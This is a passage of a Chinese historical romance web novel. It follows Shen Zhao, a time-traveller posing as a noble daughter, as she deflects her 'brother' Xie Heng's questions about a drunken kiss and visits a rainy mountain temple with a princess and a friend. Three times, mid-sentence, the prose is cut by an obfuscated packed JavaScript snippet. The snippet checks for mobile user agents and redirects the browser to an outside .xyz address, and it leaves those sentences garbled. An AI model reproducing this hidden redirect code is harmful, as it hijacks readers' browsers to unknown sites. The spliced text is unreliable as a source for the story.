谢珩一早去了左衙,对昨夜发生的事收尾后,回了国公府。他先探望祖母,祖母笑盈盈地将高家之事说与他听:“我瞧着高家二郎甚好,怕突然提议唐突了瑾儿,还让我们暂时先莫声张,如此周全识礼的人,若是瑾儿嫁给她,定不会受到亏待。” 谢珩面上肃然,他虽知高义信对沈昭有意,但当两家人将此事摆在明面上时,那把悬在头上无形的剑,终是凛然向他直直落下。 他亦不记得自己是如何走回书房,家丁及时上前禀告:“少爷,今晨夫人让管家取几本书送给小姐看,从您这里拿了三本。” “嗯。”他闻言,带着杨方去寻沈昭。 雕花窗前,一本诗集斜斜地靠着,沈昭趴在桌前,用头顶着书册,夏安心大,得了闲缩在屋里绣荷包,春宁担心小姐,拿着纸扇轻扇,在旁侍奉。 母亲对她仍算宽恕,虽然嘴上要罚,但既没强求她抄书,又没安排人查她,到底是心疼她刚回府,不舍逼她太紧,她粗粗把书册上的插画看遍,只觉无趣,但为着母亲在府内的面子,总要多少装装样子。 “少爷。”春宁透过窗柩看到谢珩和杨方同行而来,恭敬执礼道。 沈昭抬头,书从她脸上滑落,正对上谢珩的眼眸,从他的深瞳中可清晰看到她的身影,她慌乱的将书扶起,把自己挡了个严实。 但又纳罕,她为何要下意识躲他? 细长的指节搭在书上,沈昭旋即两手攥紧书角,头低的更甚。 “书拿反了。”谢珩的声音从头上悠悠传来。 沈昭这才认真看清书上的画,湖中鱼儿竟游到天上去了,那两截指节松开,她将书转了一圈:“请兄长莫打扰我看书。” 耳朵却下意识伸长,暗暗听着窗外的动静,脚步声却渐近,她的心不由得慌了。 不过是个梦罢了,想想还不行么,何况他又不知。但那梦中的场景实在太真,她的耳廓不禁染上一抹艳色,喉间弥散着一股干热。 待听得门被关上的声响后,她扭头回看,春宁已然不在房内,只有谢珩一人坐在桌旁,手里端着杯盏,杨方则垂首立于檐下。 她用手将窗户推得大开:“对了,昨夜多谢你出手相救,多谢多谢...” 怕什么,她又没做亏心事,何必如此畏缩,她在心中安慰自己。 她挺直腰背,走到桌旁给自己倒了杯水:“我还有书要看,便不留兄长了。” “昨夜之事,你都忘了?”谢珩突然开口。 沈昭猛地咳嗽几声,被润在喉间的水呛到:“当然记得,昨夜大伙儿心情好,何况果子酒不醉人,我便多喝了几杯,只是谁知后来花船起火,幸好兄长在附近巡值,救百姓于水火,咱们长安城真的不能没有金吾卫。” 她说完又灌了一大口水,却悄悄抬眸观其神色,并无异常,那昨夜便是梦了,否则,他只怕早将剑架在她脖子上了。 谢珩却直截了当:“小酌怡情,大酌伤身,这句话倒也不假,沈姑娘昨夜喝得醉了,醉得竟连一些琐事忘得干净。” 琐事二字被他狠狠咬出。 “对了,那个花童应该无恙了吧,我记得她吐出水了,不知有没有去看过大夫。”她虚虚记得那花童哭得声色凄厉,嗓音如此嘹亮,不像有事。 昨夜之事如断开的画,在她脑中一一闪回,她却唯独不提暗巷中两人身影痴|缠的那一幕。 概因...那只是梦吧。 谢珩却不欲同她多绕,直言说道:“沈姑娘昨夜醉酒,亲我是为何故?” “噗——” 水渍呛出,洒了衣襟,沈昭顾不得擦拭,睁大双眼望向语出惊人的谢珩。 那双阴晴不定的眸子,此刻正含着她从未见过的神色凝着她。 她唇齿瓮动,登时一片空白,“亲我是为何故?”如惊雷在她脑中炸开,那...那梦中的柔软触感竟是真的。 她声音细如蚊呐:“其实...” 谢珩低垂眼眸,等她的回应。 沈昭:“其实,这是感谢!在九州,这是我们表达感谢的一种方式。” “哦?”谢珩挑眉望着她,斟酌其中真假。 “自我入府,你和府中所有人待我极好,那日套圈亦是,所以我对你心怀感激,若直接言明未免生分,昨日因着酒劲就表示了,就是如此简单。” 谢珩淡淡道:“我竟不知还有如此神迹,竟有这么多奇怪的规矩和礼节,那若你承的情多了,整个长安城的人岂不是都得被你感谢一下?” 沈昭努力说服自己:“正因如此,所以想入我们九州,要求甚严,不过是你孤陋寡闻罢了,比如拥抱,这等亲密接触是不是只限于夫妇、亲眷?在九州,拥抱可表达喜悦、安慰、信任、陪伴与交付,无论是知己朋友、亲眷、夫妇,甚至素不相识之人都可,这能一样么?” 见谢珩并未急着反驳,沈昭一时抓到话柄:“那又如在长安,婚嫁全凭父母之命媒妁之言,你们结亲尚有可以选择的权利,御风和严元清两人彼此心意相投亦算缘分, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15639783|171504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可对另外一些人而言,她们在出嫁前并不知自己要嫁之人的品行、相貌,但在九州却并非如此,男女之间自由相处,若是两厢情愿,彼此再见过双方父母,约定婚嫁之事。” 谢珩不置可否,她行事一向出格,自见过她在母亲面前冒充谢怀瑾入府时,编造的谎言,他对她的话便不敢全信。 但她所言听起来像无稽之谈,倒亦有几分道理。 沈昭见他默不作声,继续道:“又如,你应该不会拒绝你母亲为你相看的婚事,哪怕这个女子你对她并无多少感情,只是不讨厌,甚至哪怕讨厌,也会接受。” “岂会,”谢珩出言打断,“我自是不会随意娶一个我不喜的女子。” “?” 沈昭心中一惊,上次他不信誓旦旦:婚嫁之事全凭母亲作主,这是有喜欢的姑娘了? 但总归不是她该操的心,既然李玥对高峻有意,免不了以后他们还要经常同游:“我们不论这个,习俗不同,互相尊重便好,但公主刚同高家兄弟相熟,日后我定会陪他们常常外出,不过你放心,我一定小心行事,不会再出现昨夜之举。” 谢珩听她绕了一圈,总归依旧得同高义信亲近,他直言道:“高家二郎虽然样貌尚可,但他只任一闲职,且生性喜欢侍弄花草,恐难托付终身。” 沈昭不想同他解释过多,公主的事还需保密,既然谢珩误会李玥对高义信有意那姑且先误会着。 至于她,她有朝一日肯定会离开国公府,自然不会同这些公子有感情上的牵扯,不过礼尚往来罢了,嘴上傅衍应道:“好好好,都听兄长的。” 听到花花草草,她突然灵光一闪,也许长安城茶树一事可以向高义信请教一二。 她一门心思谋划,全然未注意到谢珩听她应下“高义信难以托付”时嘴角扬起的弧度。 —— 长乐公主李玥昨夜被谢珩的人秘密护送回宫,并未引起太大的动静,是以除了沈昭和高家兄弟几人,旁人并不知道她也牵涉其中。 她精心地将高峻送的那束花摆到青玉瓷瓶中,一支支细细修剪,颇为耐心。 采薇昨夜吓得半宿无眠,待侍奉的宫人退下后,她走到李玥身旁悄声说:“公主,昨夜真是吓坏奴婢了,您若喜欢高家公子,为何不求圣上下旨呢,何必如此费心同他接触,若是再发生昨夜之事,惊动了圣上,奴婢可是有一百个头都不够圣上砍的。” 昨夜谢怀瑾落水后,李玥虽然受了些惊吓,但见谢珩赶来,便知定会无事,她又借着今早诊平安脉时,向太医院多要了补品,准备一会给瑾姐姐送去。 她的眼中藏不住笑意:“采薇,你不懂,话本上说了,男女相处最好之时便是两人彼此心意相通,但又在说媒下聘之前,何况我整日在宫中甚是无聊,我喜欢同他们一道。” —— “胡闹!”高坤一手拍在桌面上,震得桌上的青瓷盏忽地一跳,高家兄弟二人跪在堂下,他指着高义信:“你说说你,你哥他平日风流惯了,没个定性,怎的你如今亦同他一样混了。” 高峻虽不成器,但高坤却对他颇为重视,又加上高义信性子本就淡泊,不争不抢,每每高峻闯祸总有他在后兜底,从小到大跟在后面受训。 高义信只低头认错:“是我大意了,父亲息怒。” “父亲,都是我提议的,这次是我错了。”高峻在一旁插嘴。 高坤:“闭嘴!若是公主有个闪失,高家上上下下全得折在你们手里。” 高坤一早派人去宫内打听,索性谢珩办事妥当,将长乐公主安全送回,没有传到景明帝那。 “老爷,别气了,伤了身子不值,义信自小沉稳,有他在不会出大事的,宫里不也没有任何动静么?”他们的母亲在一旁劝道,扶着高坤坐下。 “何况,峻儿和义信也到了议亲年岁了,多同同辈接触是好事,我瞧着谢家那丫头伶俐讨喜,同义信正好性子互补,若义信娶了她,也是我们高家的福气。” 高坤气得坐在一旁不愿多言。 母亲劝道:“峻儿你平日得多同你弟弟和谢珩学学,若是无事多看些书静心修身,过几日长安城有个诗会,可莫丢了高家的脸面。” “是。”两兄弟齐声应下,暂被关在家中闭门三日,亦是为着诗会准备。 诗会名义上以文会友,但近年逐渐成为长安城中结交权贵的一种方式,虽是小打小闹,但高家重面子,何事不愿屈居人下。 沈昭听闻高家兄弟被禁足,她则美美地在府里休整了几天,整日陪着祖母逛逛花园,看看闲书,加上公主特意从宫中给她送去的补品,将养得极好,身上的肉都添了许多。 谢珩则又日复一日巡值,偶尔出府时,碰见在园中闲逛的沈昭时,她会弯着笑眼,同他招手:“兄长,早点回家。” —— “别打瞌睡了,白天睡晚上睡,让我睡会,你看着点,”一名金吾卫用手肘捅向身旁的人,刚靠墙阖上眼,又被摇起来,“将军来了!” 两人持刀站立,眼睛瞪得像铜铃,精神百倍,声如洪钟:“谢将军!” “嗯。”谢珩应声入内。 两人扯着脖子看向他的背影:“你说说,将军怎么近日如此开心,我平日从未见他笑过,同样当值,为何你老哭丧着脸。” 另一人冷嗤一声:“晋国公府寻回了失散多年的小姐,将军一家团聚,自然开心咯。” 27. 第 27 章 李玥在宫内听闻高家兄弟被禁足后,怕徒给他们增添烦忧,概因此事可大可小,并不敢声张,一直盼着他们能出府的日子,她派出去的侍卫探听回禀:“今日见高峻公子一早出门了。” “真的。”李玥喜悦地差点跳起,“快,你将这封信送去给谢家小姐。” 沈昭收到信后,因着上次的事,李立雯的气刚消不久,更不敢光明正大主动招惹高家那两位了。 只得去拜托谢珩,她做了半天心里建设,本以为又得巧言哄骗一番,但不料谢珩同之前严词拒绝不同,竟答应爽快了。 两日后。 天蒙上一层灰色,远方的云乌压压弥漫苍穹。 李玥出宫前,采薇曾小心说道:“公主,非要今日出城不可么,今儿天色不好。” “无事,这雨不会下大,何况我又不是赤脚走去,坐着马车没事,你在宫里等着吧,不必随行。”李玥吩咐好宫内事,只带了几名侍卫和内侍随行。 未久,沈昭、李玥、高峻还有谢珩一同坐在出城的马车上。 沈昭主动问道;“高义信呢,你们一同被罚,怎的只有你得空可以出来?” “父亲看他甚严,过几日的诗会对他寄予厚望,他在家温书呢。”说罢无奈的摇摇头,言语中全是同情。 “那兄长你今日为何得空,一起出城?”沈昭看向一旁的谢珩,她只让其帮忙递拜帖,可没邀他同行。 谢珩开口:“上次你们闹出这么大的动静,今日我随行是为着公主和你们的安危。” 话虽确有几分道理,但沈昭总暗觉得奇怪。 高峻轻易看穿他的心思,不过是为了防着他宝贝妹妹被他弟弟拐走罢了,往日不见他有如此好的心绪,若不是他在拜帖中夹了几篇诗文请父亲指教,义信又怎会被父亲拿他比较,把他关在房中不能出门。 但总归高家同谢家结亲已是板上钉钉的事,倒也不急于这一时半刻。 因着上次的事,李玥心有余悸,所以这次特选了城外的灵山寺,灵山寺香火正盛,犹以一颗百年古槐扬名,每年不乏适龄男女前去求好姻缘,今日虽然天气不佳,倒也是好事,前去的香客自然不多。 马车刚到城门,便淅淅沥沥下起雨,俄而,雨越下越大,砸在车顶之上,噼啪声渐起。 沈昭挑开车帷向外望,远山浸在雨雾中,上下一白。 路途变得泥泞,马车行使得愈发缓慢,及至缓坡时,需由公主随行的侍卫、内侍一同推车,才能继续前行。 幸好待他们到达灵山寺时,雨势渐渐小了。 灵山寺前的积水已没至膝盖,因着他们四人同乘一辆,车上只带了轻便小巧的车凳,将其置于地上,很快被水淹没,且泥淖湿滑不平,车凳不稳。 李玥撩起车帘,绵密的雨丝织成薄薄的水帘,侍卫撑伞上前覆在她头顶上。 内侍自然地躬身俯于地上,手陷于泥地里,伏地为鞍,李玥和高峻由侍卫扶着下车,矜贵优雅,身上衣裙也完好无虞,连下摆都未曾沾到一丝水痕。 李玥和高峻站在檐下,轻拍着发丝间漫上的水气,回头喊她:“瑾姐姐,快些,一会若是雨大便更不好走了。” 灵山寺常举办皇室祭天、祈福等活动,寺里的沙弥见宫内车驾,上前相迎:“公主万福。” 李玥和高峻颔首回应,被寺中僧人先一步引入内。 细雨中,那群内侍仍跪俯在地上,未得公主命令,还没起身。 他们半张脸沉于泥水中,霎时身上就湿透了,虽偶尔仰头唤气,但身子却不动如山,稳如平地。 沈昭犹豫着伸出脚,古代阶级森严,她并非不知,但知道同亲眼见过,亲自去试又是另一回事。 她作为谢家小姐,亦得过不少优待,李玥她们的生活环境于此,这些细枝末节的事对她们来说司空见惯,她自没有资格去指摘,但若真让她将人视作物件,她终究过不了心头那倒坎。 沈昭俯下身子,对他们说道:“你们起来吧,我自己过去。” 内侍们的身子蜷了蜷,但仍埋下头,没敢起身。 沈昭大喊道:“快起来,你们无需侍奉我。” 他们对视一眼,而后悠悠弓起身子,从泥水里爬起,怕污了贵人衣裙,忙退到檐下候着了。 她接过侍卫手中的伞,将伞斜倚在一旁撑着。 待他们散去,坐于车前,而后将腿蜷起,大大咧咧地准备褪下罗袜。 反正四下无人,她也没太多讲究,她撩起衣裙,淌水过去就好。 “你在作何?”她的指尖刚扯上袜带,身后响起谢珩的声音,吓得她差点将手里的另一只罗袜丢掉,一时竟忘了马车里还有一个人。 沈昭拎着手里的罗袜:“我去灵山寺啊。” 反正他会武功,飞过去便可,她只能走过去。 一截莹白的脚踝裸露在外,还挂着细密的水珠,谢珩忙将视线收回:“快穿上,你若蹚水过去,身上染了泥污,这灵山寺未必有合适的换洗衣衫,万一不慎蹭到公主身上呢?” 沈昭无奈暗道:规矩太多了,一时进退不得。 她将罗袜套上:“那你同公主说,我等这里的积水散一些再进去吧。” 谢珩并未言语,躬身走出马车,身上很快落下一层水雾,向她靠近几步。 沈昭将腿缩回,忆起那夜被他一手扔上马的场景,五脏六腑差点都颠出来。她垂眼瞥了瞥旁边的门匾,这个距离他若把自己扔到一旁的青石台 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15645472|171504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,应该不算难事,她紧紧抱住自己的肩膀:“你别把我扔过去,到时候我衣裙更湿了。” 谢珩略过她,踏出一脚踩稳车凳,混着泥土的污水瞬间漫过他的鞋面,他回身将一旁的伞递给沈昭:“拿着,”转身背对着她蹲下,宽阔的脊背斜置,因着被雨打湿,紧绷的肌肉线条清晰可见:“上来吧,我背你过去。” 他身上的圆领袍很快被雨水打湿,但身姿仍挺拔如松,腰间剑柄上缠着的红色绸带,在雨幕中格外醒目。 见他岿然不动站于水中,等她的动作,她也不扭捏,反正亲都亲过了。 何况兄长背妹妹过河,不算逾矩。 沈昭没多作犹豫,将手搭在他肩上,小心翼翼地趴上他的背,湿气氤氲,但他温热的气息却瞬间包围了她,隔着湿透的衣衫,她能清晰感受到他背部肌肉的起伏。 “抓紧。”谢珩声音微哑,双手握拳托住她的腿弯,稳步踏入泥水之中。 雨势虽不大,但门前的积水及至腿弯,冰冷刺骨,谢珩却身形泰然,踱步蹚于其中。 沈昭下意识搂紧他的脖颈,脸颊几乎贴在他的耳畔,微弱的气息轻拂在他耳侧,他的耳廓登时涨红了,脖颈泛起淡淡的绯色。 他每走一步都极稳当,背上的沈昭若一片鸿羽,轻若无物,她偷偷垂眼看向他的侧脸,水珠从他鬓角滑落,顺着他清晰的下颌线滴入衣领中,他专注的神情令她心头莫名一颤。 从马车至灵山寺前,虽只隔数步,但谢珩身上却沁出一层薄汗。 待到达檐下时,他小心将她放在一块略干燥的青石板上,又退了几步。 沈昭这才发现他的裤腿早已湿透。 女子发间的花香混着湿润的水汽萦绕在他鼻端,他呼吸尚未平复,哑然吐出两个字:“走吧。” 此时,一个光头小沙弥端着姜茶,嘴里小声嘀咕抱怨:“此等好天气,最适合睡觉了,我倒要瞧瞧,到底是哪户好人家竟跑寺里来了。” 那“好”字咬的深重,带了十足的怨气。 他远远看见两个身影站于门前,忽而噤声低头,经过他们身侧时,抬头不着痕迹地觑了眼,却觉眼熟,走至廊角时又回头细看。这不是那日助他出城的姑娘嘛! 他放下手中茶盘,飞奔过去,抱住她的腿,脸圆得像成熟饱满的蜜桃,瞪着油亮亮的眼眸:“施主,我又见到你啦!” 这小沙弥的衣服仍是上次在城中相遇时穿得那件,倒不知他遇急事和喜事都爱抱着旁人的腿,她笑着将他拉开:“原来小沙弥你在灵山寺修行呀,好久不见。” 小沙弥歪头打量她身旁的谢珩,眼眸登时亮了几许,绕到沈昭身后,悄咪咪说道:“姑娘红鸾星动,这么快就找到如意郎君啦!” 28. 第 28 章 沈昭蹲下身子一把捂住他的嘴,这话可不兴乱说:“你个小小出家人,不该四大皆空么,别乱说,这可是我兄长。” 小沙弥眨巴着眼睛点点头,待被她松开口后:“阿弥陀佛,女施主说的是,那你便是来寻如意郎君的?院中古槐树下挂红线,相思可解。” “慧能,你又跑何处耍懒去了?”他师兄的话在院中回荡。 小沙弥端起茶盘,脚底抹油溜走了。 因着李玥一行是贵客,住持特意安排了一间禅舍供他们休息,因等得久了,高峻去寻他们二人,脚步还未踏出门槛,就见到谢家兄妹,正被寺中沙弥引至此。 见谢珩裤脚湿透,脸色泛红,高峻上前关切道:“九如可是身子不适,”他拢袖抬手欲去试他的额头,“莫受了风寒,别是发热了。” 谢珩后退半步:“无事,在马车中有些闷,吹吹风便好了。”他并没有急着进屋,反而立于檐下,久久凝着远处,不知所思为何。 沈昭方才从他背上下来时,不经意间手指划过他的耳廓,确实滚烫如火。 他竟主动开口背自己过去,以往他恨不得站于她身边都会避开得体的距离。 沈昭庆幸,他该是终于把自己视为妹妹了,以后相处会容易得多了。 经这一路奔波,她随高峻先一步进屋,慧能彼时刚刚将茶盏放好,礼貌说道:“诸位施主请先用些热茶,住持仍在讲经,请诸位稍后。” 沈昭端起茶盏抿了一口,香气青嫩,初入口时带些苦涩,回味甘甜,这味道似曾相似,她打开茶壶的壶盖,其中飘着几片绿叶,正是她之前苦寻的茶叶,她喊住慧能:“小师傅,这茶壶中的茶叶从何而来?” 李玥和高峻咂咂嘴,浅啜了一口,只觉苦涩难耐,并不好喝。 慧能似寻到知己般雀跃:“这是从南方来的香客供养的,许多人觉得清苦,并不喜欢,可我师傅却觉得苦涩过后有淡淡甘甜,回味无穷呢。” 沈昭问道:“那这香客家中专门种植茶树?” 慧能挠挠头:“这个我就不知了,不过这个香客每月会来灵山寺,若施主你喜欢喝,我可为你留一些。” 沈昭默许,给他递银子时,慧能满口“阿弥陀佛”地拒绝了。 但她所求并不是这些碎茶叶,若是能得机缘在长安城附近寻出开阔的地界种茶树,待饮茶在长安城城内时兴起来,她便有源源不断的小金库了! 但此事想得简单,实行却并不容易。 一是不知这香客的身份,种子难寻,二是哪怕得了茶树种子,她没能耐将其种活,不过倒可以向高义信请教。 谢珩吹了半晌的凉风,散去身上的湿气和燥热,入内端起桌上的杯盏,一饮而尽。 “兄长觉得这茶好喝么?”沈昭抬着明眸望向他。 入口苦涩,谢珩一饮而尽,并未咂摸出些许滋味,但喉间却润着清爽的甘甜:“尚可。”令人忍不住细细回味。 他记起她曾提到的“茶”,在她的故乡盛行,原是此物:“你若喜欢喝茶,既然南方有,那请南方商队运来便是。” “不用不用。”沈昭直言拒绝,她可不想引起误会,她不是贪杯。 何况通过商队运送茶叶,成本极高,在场四人只她和谢珩觉得尚可,李玥和高峻并不喜欢,若想在长安城推广,并不容易。 比起运送茶叶,能寻到根本种植之法才是长久之计。 李玥:“这茶入口极苦,喜欢喝的人该不会多吧。” 她犹记得从杂书中看到,之前唐代的茶叶时兴亦是最初从南方种植,在寺庙中传播,进而渐渐蔓延到城中百姓,何况不止唐代,喝茶品茶的技艺在历朝历代都时兴,她相信茶饮一定可以流行,加上在银钱方面,谢珩从未亏待于她,她酬劳颇丰,因此手上又有了一定积蓄。 但这几位又代表着长安中极大的购买力,她问向她们几位:“我其实有意想试着栽培、种植茶树,茶饮有朝一日也许会在长安城内流行。” 李玥惊得唇齿微张:“瑾姐姐,你要从商么?”她知谢家不缺银钱,不会短缺她,为何要经营这等苦差事。 高峻亦并不看好:“妹妹,这你便想不开了,舒舒服服地当小姐多自在,谢家还会被你吃穷不成,何况我们高家也短不了钱,不会亏着你的。” 谢珩对她脑中奇奇怪怪的各种想法不置可否,但若她公开经商的话,只怕不好向母亲和老夫人交代。 士农工商,士族子弟少有人经商。 沈昭摆摆手:“算了,我只是个简单的想法罢了,随口一说。” 雨渐渐停了,远处一抹天光照亮方寸之地,院中僧人拿着扫帚清扫堂前屋后的积水。 院中古槐树上,红色绸带被雨水打湿,其中不乏许多绸带已被日光晒得褪色,只留下当初在树下祈愿的希冀。 风经过,绸带下的银铃发出叮当的脆响,枝叶轻颤,水珠簌簌而落,那些被浸润的旧愿,仿若活了一般,随风轻轻摆弄,刚柔相济互相碰撞。 李玥早早向寺里僧人要了许愿丝带,一共四条,不多不少。 她将丝带一一递给他们几人,待到谢珩眼前时,高峻一把抢过:“九如心不在此,不若把你的心愿让给我弟弟,我替义信挂一枝。” 谢珩反手抓住他的手腕,“哎哟,疼疼疼。”高峻吃痛喊着被他拉至树下。 李玥和沈昭走在后,李玥趴在她身侧低声说道:“瑾姐姐,你觉得高公子如何?经这几次相处,我愈发觉得他不仅样貌好,人也极妥帖周到。” 沈昭其实同他接触时日并不多,大多还是从婢女或家丁口中所得,李玥对他的印象并不差,但他不单单仅对她好,他对其他女子亦如是,高峻虽性子活泛,但也并非口无遮拦之徒,可毕竟事关公主终身大事,她不能草草给出建议:“我其实同高家公子接触不多,但我兄长自幼与他相熟,我倒可以从我兄长那探听一二,待日后同你细说。” “好。”李玥甜甜地应下。 四人站于树下,高峻还抚着自己的肩膀喊痛,叫着要让姑娘们为他评评理。 李玥笑颜如花,攥紧绸带,郑重地贴于胸前,在心中默许:愿择一良人,恩爱相守。 她用力地一抛,银铃甩着绸带稳稳落于枝丫之上,又绕了一圈。 "太好了!"这一次便稳稳当当挂住,真是好兆头。 乍一看,李玥丢的位置并不低。 高峻霎时胜负欲涌上心头,全然忘了刚刚假意喊痛,扯起袖子,露出坚实的臂弯:“来,让你们瞧瞧本公子的水准。”说罢,大臂带着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15651213|171504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小臂用力一挥,力道不俗,但运气欠佳,倒比李玥低了半头。 “不行,再来。”高峻不服气。 李玥噗嗤一声笑出,沈昭笑得合不拢嘴:“你当这是练武比试不成!” 他不为着许愿,双手掐腰在树下来回绕圈,始终想不通怎的他浑身力气竟挂得这么低。 这树不对劲。 —— 沈昭神色虔诚,半阖着眼眸:“希望祖母可以身体康健,国公府早日寻回谢怀瑾,”她并不期待能穿越回曾经的末世,若留在此处亦可,“希望她自己无论身处何时何地,都有花不完的银子!” 想到银子,她不禁弯唇,笑得更甚。 谢珩站在三步之外,目光越过手中纷扬的绸带,悄然落在她身上,长睫低垂,唇边压不住的笑意。 他不由得怔然,手中的绸带被他攥皱。 红绸从沈昭手中扔出,在空中划出一道弧线,银铃荡了荡,发出叮当清音。 谢珩顺着那抹红色,随之一抛,两个银铃相撞,绸带交缠在一起拧成一股。 李玥不禁睁大眼,瞧着这意料之外的巧合。 高峻不由得笑了,谢珩这武将,竟还不如他,挂得比他还低,他心中顿觉畅快不少,拍着他的肩膀大笑。 谢珩倒未置一词,眼底讳莫如深,看着那红绸轻晃,银铃的声响一下下撞进他的心。 李玥将沈昭拉到一旁,眉眼间藏不住的笑意:“瑾姐姐,高家公子的事,一会切莫忘了,帮我问问你兄长。” 她借故有本经书要寻,请高峻随她同往,留下机会给谢家兄妹独处。 因着是公主私隐,沈昭向他走近一步,抬眸望他:“兄长。” 她眼眸像被水洗过般的澄澈,枝头万千丝绦在风里摇曳,映着从云层透下的几束微光,皆不及她眼中神采。 “你同高家公子熟识,他品性如何?可值得女子托付终身?”沈昭直言问他。 谢珩脱口而出道:“我并不愿让高义信做我妹夫。” “?” 今日只有高峻同行,她口中的高家公子自然是高峻。 好端端的怎么说起高义信了,他今日来都没来,妹夫更是天方夜谭了,真的谢怀瑾人都不知在何处,哪来的妹夫! 沈昭:“我是指高峻,高家大公子。” “高峻...”谢珩思量半晌,权衡着给出他的看法,“高峻虽然言语中不无顾忌,至交好友众多,但大多也相处泛泛,高家极重面子和门楣,他举止出格但倒并非全无底线,”他望向远去的两个身影,之前他的注意力全在高义信身上,原来她忙里忙外忙着递帖子是为了公主。 他恍然领悟,悬着的一颗心悠悠然落地,但眉头微不可查地紧了紧,“但若让他尚公主的话,恐他不会答应。” 沈昭猜到几分,高峻这性子受不得约束,若他娶个家世相当的世家小姐,自然快活潇洒一生。 可若是当了驸马,便由不得他作主了。 借谢珩之口,高峻品性并没她想的如此不堪,可能否心甘情愿、真情实意待公主,便是另一回事了。 沈昭心中好奇,在这里,门第家世无一不是首要考量,三妻四妾并不少见,他问向谢珩:“那若是兄长日后成婚,会娶几房妻妾?” 29. 第 29 章 沈昭全然因着好奇,他的婚事姑且由不得他作主,不过随口一问罢了。 但谢珩却抬头看浮云移影,凝神细思。 “不必勉强回答,我就是好奇而已。”沈昭下意识反应,她这个问题定然是冒犯到他,毕竟是他的隐私。 “我从未想过。”谢珩开口道,他无声的时候竟真在斟酌她的问询,“不过我觉得一人足矣,与人相处不在数量更在质量,夫妻之间亦然,三妻四妾虽看上去家宅兴盛,但到底人多事杂,何况能尽心尽意待一人,尚还常有亏欠,更遑论这么多人,总有所不及,所以,于我而言...” 他转身面对沈昭,迎上她的眼眸,认真道:“不纳偏房,不置妾室。” 耳畔的青丝经风吹向他的方向。 红稠下的银铃碰撞发出清脆声响,他广袖垂落虽沾着水渍,却如他的心一般,似裁净的云,不染纤尘。 他如此郑重诚恳,哪怕此话不是对她而言,亦让她恍惚间乱了神。 沈昭的心漏跳了一拍。 冷风徐徐,吹散她脸上的薄红。 未久,她开玩笑道:“那祖母和母亲得急死了,祖母可时不时在我耳畔念叨,想早日看谢家有后呢。” 以谢珩所处时代,他能说出此话,有这份心意,便也难得,但最终仍要看他是否践诺了。 沈昭很好奇,谢珩能否日后扛得住他家族里的压力。 “嗯,我自有考量。”她本是玩笑话,但谢珩竟如此认真,倒叫她有些不自在了。 此刻,住持讲完经学,正由慧能引着去见李玥一行,李玥先遣人来唤他们一同入内。 屋内,茶果放在一旁桌子上,四人在蒲团上围坐,虽然他们几个此意并非如此,但架不住寺里的人热情相迎,住持带着他们一起习读经文。 沈昭讨巧地选在李玥身后第二排的位置,谢珩在右同她紧邻。 若单单让她如此坐着,倒也能坐些时辰,但那密密麻麻的经文,看得她头疼,住持的唱诵虽然抑扬顿挫,满含敬意。 但高峻嗓门大,他絮絮叨叨,比念经还像念经,她努力维持着盘坐挺直脊背,强撑着眼皮,但头却越来越重。 但她又不敢在得道高僧面前失了礼数,只得藏于衣裙下,用手可劲地拧着自己,强忍困意。 谢珩偏过视线,看到昏昏欲睡的她,悄无声息地从旁边的茶台上取了几个红彤彤的果子,以宽袖遮挡,用手一抛,果子滚落到沈昭身旁。 沈昭被他的好意吓住,原来好学生上课也有小动作,她抬眼确认住持心不在她们身上,果断藏于袖中,将果子塞进嘴里一个。 轻轻咬住,酸酸的汁水瞬间香溢满嘴,真提神醒脑,她一个接一个地将藏下的果子全吃了,比喝茶还要醒神。 住持知他们小辈性子活,坐不住,只领着吟诵一遍就作罢。 送走住持又在寺中用过斋饭后,天色渐晚。 沈昭目光落在桌上的果子,她之前在西市没见过这种野果,但酸中带一丝香甜,倒很符合老夫人的胃口。 之前给老夫人买的红橘本就不是应季水果,因着卖家放在家中地窖存放,才便宜卖了,早已下市。 她把慧能喊到一旁,问道:“小师傅,那桌上的野果可还有,我能否讨要些,带回家。” 慧能摇摇头,他也爱吃这果子,午膳时光吃果子就吃个半饱,把他最后一点私藏给他们了:“寺里倒是没了,可那果子树离这不远,就是路不好认,”他眼中闪着期待,“你若是不害怕,我带你去?瞧这天色,天黑之前我们应该能赶回来。” 李玥因着宫禁,不能太晚回宫,但他们同乘一辆马车来此,没道理让她们久等,沈昭问向慧能:“上次你出城的马车,最晚一班回城内是什么时辰?” 慧能拍拍胸脯:“来得及施主,哪怕你在寺里用完晚饭都来的及。” “好,那等下你去同和我一道来的那几个公子小姐说...” —— 寺前的积水浅了许多,李玥和高峻上了马车,谢珩还在门口,并未上车。 